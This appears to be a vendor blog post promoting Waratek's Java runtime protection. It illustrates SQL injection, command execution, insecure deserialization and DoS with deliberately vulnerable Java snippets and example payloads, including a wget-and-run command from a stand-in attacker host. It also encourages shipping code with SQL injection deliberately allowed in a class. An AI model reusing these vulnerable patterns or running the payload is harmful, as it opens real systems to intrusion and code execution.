As a software engineer your might frequently find yourself trapped between two rivalling goals: promptly meeting tight deadlines for extensive projects and ensuring you ship code that is free of security vulnerabilities. In the midst of countless hours spent on security tickets, overtime work, and delayed feature releases, one these two goals often falls by the wayside.
Welcome to the world of Java security for engineers, where complex regex code, short development windows and access to open source libraries can overwhelm developers and allow vulnerabilities to fall through the cracks. It can start to feel like a never-ending battle that consumes precious time that could be better spent on delivering features and enhancing applications.
The solution? You need a way to ship code confidently, even if it may harbor security vulnerabilities. In this comprehensive guide, we’ll delve into the challenges engineers face, proactive strategies for enhancing security, and how tools like Waratek can automate the process. Such automation gives developers like yourself over a week of every month back in your schedule and liberates them from the constant time-suck of security tickets.
Caught Between a Rock and a Hard Place
Security is an indispensable aspect of software development, but it often feels like an unwelcome burden for engineers. The time and effort required to identify and rectify security vulnerabilities can hinder your ability to focus on what you do best: writing exceptional code. Security tickets become an unwelcome companion, sapping your productivity and leaving you with less time to innovate and create.
The consequences of shipping applications and features late can be extreme. Perhaps a customer was promised a feature they don’t receive access to when they expected. Perhaps shareholders or board members are expecting a demo of a product with updated capabilities. Sometimes other departments or developers are waiting on a feature to be completed before they can begin their next task. In any of these cases, failure to meet deadlines can have ripple effects that hinder the growth of the business on a larger scale and point a spotlight on the developers that caused the delay.
Common Security Vulnerabilities
Even when a vulnerability isn’t a direct access tunnel to something valuable or detrimental to the business, it can still be an opportunity to land and expand. These may include:
1. SQL Injection (SQLi)
SQL injection occurs when an attacker is able to execute arbitrary SQL code on a database by injecting malicious SQL statements into a query.
Example in Java:
public class UserDAO {
public User getUserById(String userId) {
String query = "SELECT * FROM users WHERE id = '" + userId + "'";
// Execute query...
}
}
// Example payload: ' OR '1'='1
// This would transform the query to: SELECT * FROM users WHERE id = '' OR '1'='1'
2. Remote Code Execution (RCE)
Remote code execution allows an attacker to run arbitrary code on a target machine, potentially taking full control of the system.
public class CommandExecutor {
public void executeCommand(String command) throws IOException {
Runtime.getRuntime().exec(command);
}
}
// Example payload: wget http://attacker.com/malware.sh -O /tmp/malware.sh; sh /tmp/malware.sh
3. Insecure Deserialization
Insecure deserialization can occur when untrusted data is used to instantiate objects, potentially leading to remote code execution.
import java.io.*;
public class DeserializationExample {
public Object deserialize(byte[] data) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(bais);
return ois.readObject();
}
}
// Malicious payload could exploit known vulnerabilities in the classpath.
4. Denial of Service (DoS)
Denial of Service attacks aim to make a machine or network resource unavailable to its intended users by overwhelming it with a flood of illegitimate requests.
public class ResourceIntensiveService {
public void processRequest(String data) {
// Simulate a resource-intensive operation
for (int i = 0; i < Integer.MAX_VALUE; i++) {
// Do some heavy processing
}
}
}
// Attack: Sending numerous requests to processRequest to exhaust server resources.
The Data on Security Bug Fixing
While the exact time spent by software engineers fixing security bugs can vary widely based on factors such as company size and project complexity, it’s clear that security-related tasks consume a significant portion of a developer’s time.
According to a study by Coralogix, a developer creates an average of 70 bugs per 1000 lines of code, and 15 of those bugs find their way to customers. When you take into account that these bugs are mostly being fixed by the developers themselves, it underscores the massive amount of time developers spend fixing bugs.
These numbers are contextualized by a National Institute of Standards and Technology (NIST) study which analyzed developer time allocation in software projects and found that the overall average time to investigate and fix a single bug is 17.4 hours. A separate study by Rollbar found that a large portion of engineers spend up to or over 10 hours per week with bug fixing.
These statistics highlight the substantial time investment required to address security concerns. When developers can spend upwards of a quarter of their time vetting their applications for security flaws, it’s time for a major overhaul to the development process. Waratek’s Software-Defined RASP offers a solution that can streamline the development process and give engineers back over a week of every month spent on the job.
How to Safely Ship “Dirty Code”
The good news is that there’s a proactive approach to security that empowers you to take control of your application’s safety without letting it hinder your progress. Instead of dreading security checks and living in fear of post-deployment vulnerabilities, you now have access to a solution which allows them to ship code confidently, even if it may contain security risks.
Waratek is a Software-Defined RASP designed to empower engineers to navigate the complex terrain of security without compromising productivity. The platform utilizes non-heuristic detection techniques for code-injection attacks based on data tainting and syntax analysis.
This method avoids the pitfalls of heuristic-based techniques, such as pattern matching and regular expressions, which often result in inaccuracies, false positives, and performance degradation.
Data Tainting
Data tainting marks all user-input data as “untrusted,” distinguishing it from developer-written code. This process, applied in real-time within Java applications, helps identify and isolate potentially malicious inputs without requiring any changes to the application code.
Syntax Analysis
Following data tainting, Waratek performs syntax analysis to detect code-injection exploits. By intercepting and analyzing SQL statements before they reach the database, Waratek can identify SQL injection attacks based on the formal grammar of the SQL dialect used by the application. This method ensures accurate detection of malicious inputs, avoiding the false positives common in heuristic-based approaches.
For example, you may be asked to build a feature that requires raw SQL queries in the code to expedite development. With the right tools and mindset, developers can embed this feature while ensuring that it doesn’t become a persistent security concern. With Waratek, you simply need to activate a prescriptive SQL injection rule tailored to your specific needs. This rule empowers you to dictate where SQL injection is acceptable within the application, such as for a beta feature, and where it’s off-limits. You’re then free to continue coding with the assurance that your SQL injection is controlled and won’t manifest elsewhere in your application.
Example: Implementing Waratek Rules
To illustrate, let’s consider a scenario where you need to block SQL injections but allow them in a specific class com.example.MyClass. Here’s how you can achieve this with Waratek:
Step 1: Create the SQL Injection Protection Rule
app("SQL Injection Protection"):
requires(version: ARMR/2.3)
sql("Protect MySQL database from SQL Injection attacks"):
vendor(mysql)
input(http)
injection(successful-attempt, failed-attempt)
protect(message: "SQL injection attack detected and blocked", severity: High)
endsql
endapp
Step 2: Create a Patch Rule to Exclude the Specific Class
Assume the class you want to exclude is com.example.MyClass and the method is myMethod.
app("Exclude Specific Class from SQL Injection Protection"):
requires(version: ARMR/2.3)
patch("Exclude MyClass from SQL Injection Protection"):
function("com/example/MyClass.myMethod()V")
entry()
code(language: java, import: ["java.sql.Connection"]):
public void patch(JavaFrame frame) {
Connection conn = (Connection) frame.loadObjectVariable(0);
// Custom logic to bypass SQL injection checks
// This example assumes you mark the connection as safe in some way
conn.setAutoCommit(true); // Example of a no-op to ensure the method is instrumented
}
endcode
endpatch
endapp
In the fast-paced world of software development, balancing tight deadlines with robust security measures is a perpetual challenge. However, with tools like Waratek, you can confidently navigate this landscape, delivering secure, high-quality code without sacrificing productivity. By leveraging Waratek’s advanced security features, engineers can automate the detection and prevention of vulnerabilities, ensuring that your applications remain secure while freeing up valuable time to focus on innovation.
Whether it’s safeguarding against SQL injections, preventing insecure deserialization, or enforcing secure file operations, Waratek provides the comprehensive solution you need to stay ahead of potential threats. Equip yourself with the tools to ship code confidently and keep your projects on track, all while maintaining the highest standards of security.
